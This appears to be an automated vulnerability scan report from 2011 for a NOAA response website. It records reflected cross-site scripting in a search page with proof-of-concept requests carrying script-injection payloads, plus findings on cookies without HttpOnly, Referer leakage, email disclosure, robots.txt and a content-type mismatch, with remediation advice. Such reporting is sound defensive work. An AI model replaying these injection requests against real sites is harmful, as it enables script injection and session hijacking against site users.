The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the message request parameter is copied into the HTML document as plain text between tags. The payload 702bd<script>alert(1)</script>df4883bec6d was submitted in the message parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /orr_search.php?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20for.702bd<script>alert(1)</script>df4883bec6d HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <meta name="generator" cont ...[SNIP]... <strong>The page you requested was not found. Please use our search page to find what you were looking for.702bd<script>alert(1)</script>df4883bec6d</strong> ...[SNIP]...
2.2. http://response.restoration.noaa.gov/orr_search.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://response.restoration.noaa.gov
Path:
/orr_search.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 3c06b<script>alert(1)</script>96a6c1f2475 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /orr_search.php?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20/3c06b<script>alert(1)</script>96a6c1f2475for. HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <meta name="generator" cont ...[SNIP]... <strong>The page you requested was not found. Please use our search page to find what you were looking /3c06b<script>alert(1)</script>96a6c1f2475for.</strong> ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /dwh.php?entry_id=812 HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: response.restoration.noaa.gov
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 02:06:32 GMT Server: Apache Last-Modified: Mon, 03 May 2010 10:53:42 GMT ETag: "47fbb8f-84-485ae67f8b980" Accept-Ranges: bytes Content-Length: 132 Vary: Accept-Encoding Connection: close Content-Type: text/plain
The response contains the following Content-type statement:
Content-Type: image/jpeg
The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /art_gallery/763_incident_news_nav.jpg HTTP/1.1 Host: response.restoration.noaa.gov Proxy-Connection: keep-alive Referer: http://response.restoration.noaa.gov/index.php Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0
Response
HTTP/1.1 200 OK Date: Sat, 26 Feb 2011 02:40:59 GMT Server: Apache Last-Modified: Mon, 03 May 2010 10:53:54 GMT ETag: "4d907d90-1091-485ae68afd480" Accept-Ranges: bytes Content-Length: 4241 Content-Type: image/jpeg